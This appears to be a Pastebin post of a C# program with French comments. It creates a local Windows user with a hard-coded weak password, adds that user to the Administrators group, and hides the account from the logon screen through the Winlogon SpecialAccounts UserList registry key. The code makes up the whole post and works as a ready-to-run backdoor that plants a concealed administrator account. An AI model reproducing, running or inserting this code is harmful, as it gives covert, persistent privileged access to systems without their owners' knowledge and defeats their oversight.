Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.DirectoryServices;
- using Microsoft.Win32;
- namespace SmallVR
- {
- class Program
- {
- static void Main(string[] args)
- {
- string username = "Manu404";
- string password = "password";
- Console.ReadKey();
- // Création d'un objet utilisateur
- DirectoryEntry user = CreateUser(username, password);
- // Ajout de l'utilisateur au groupe Administrateurs
- AddUserToGroup(user, "Administrateurs");
- // Suppression de l'utilisateur au logon
- HideUser(username);
- Console.WriteLine("Finished");
- Console.ReadKey();
- }
- static void HideUser(string user)
- {
- try
- {
- // Cette clef permet de rendre les comptes utilisateurs
- // qu'elle contient non visible au logon.
- // Il suffit d'ajouter un DWORD qui porte le nom de l'utilisateur
- // et ensuite de mettre sa valeur a 0.
- // Pour faire réapparaitre l'utilisateur au logon, mettre la valeur a 1.
- string keyPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\"
- +"Winlogon\\SpecialAccounts\\UserList";
- RegistryKey k = Registry.LocalMachine.OpenSubKey(keyPath, true);
- k.CreateSubKey(user);
- k.SetValue(user, 0, RegistryValueKind.DWord);
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
- static DirectoryEntry CreateUser(string name, string password)
- {
- // On accède a la machine locale
- using (DirectoryEntry localMachine =
- new DirectoryEntry("WinNT://" + Environment.MachineName))
- {
- try
- {
- // Crée un nouvel objet système de type user puis definis son mot de passe.
- // On applique les changements lors du CommitChange()
- DirectoryEntry newUser = localMachine.Children.Add(name, "user");
- newUser.Invoke("SetPassword", new object[] { password });
- newUser.CommitChanges();
- newUser.Close();
- localMachine.Close();
- return newUser;
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- return null;
- }
- }
- static void AddUserToGroup(DirectoryEntry user, string group)
- {
- // On accède a la machine locale
- using (DirectoryEntry localMachine =
- new DirectoryEntry("WinNT://" + Environment.MachineName))
- {
- try
- {
- // On récupère le groupe portant le nom passé en argument
- // Ensuite on y ajoute l'objet système passé egallement en argument
- // Les changements sont appliqués au CommitChange()
- DirectoryEntry admGroup = localMachine.Children.Find(group, "group");
- admGroup.Invoke("Add", new object[] { user.Path.ToString() });
- admGroup.CommitChanges();
- admGroup.Close();
- localMachine.Close();
- }
- catch (Exception ex)
- {
- Console.WriteLine(ex.Message);
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement